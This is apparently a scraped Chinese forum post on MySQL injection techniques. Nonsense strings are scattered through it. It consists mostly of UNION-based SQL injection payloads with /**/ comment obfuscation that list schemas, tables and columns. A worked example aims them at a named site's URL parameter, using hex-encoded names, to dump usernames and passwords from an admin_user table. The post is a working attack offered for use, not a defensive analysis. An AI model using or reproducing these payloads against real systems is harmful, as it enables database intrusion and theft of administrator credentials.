mysql注入技巧

admin

查库
* K' [# T- u7 V
) ?7 l; v& e3 E3 O- x: jid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

% j  S6 |( P1 ^* [7 D: U查表
8 C2 R  }( g/ c5 H0 u. U+ |
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
( h, D" y+ Z$ S
查段

! M) r& R5 O3 A* e8 e, hid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

' v' K* g% Q  \5 @3 a
  X& W/ ?9 U1 l- y  ]- \mysql5高级注入方法暴表

# u, H* R( h4 o4 z3 Q5 e: X7 E* `" Y例子如下:

) D! r$ ~5 h  a6 H+ c& {  i1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。

2.暴字段
$ l- J. {/ m" f9 a: Chttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
2 O* K& N' n8 ~8 q( m, f
4 {1 J# Z$ n  z7 y8 A
3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

8 ~1 d2 p7 M* c7 d1 B/ d4 c9 z
6 X, Q, N( i# h; {: ]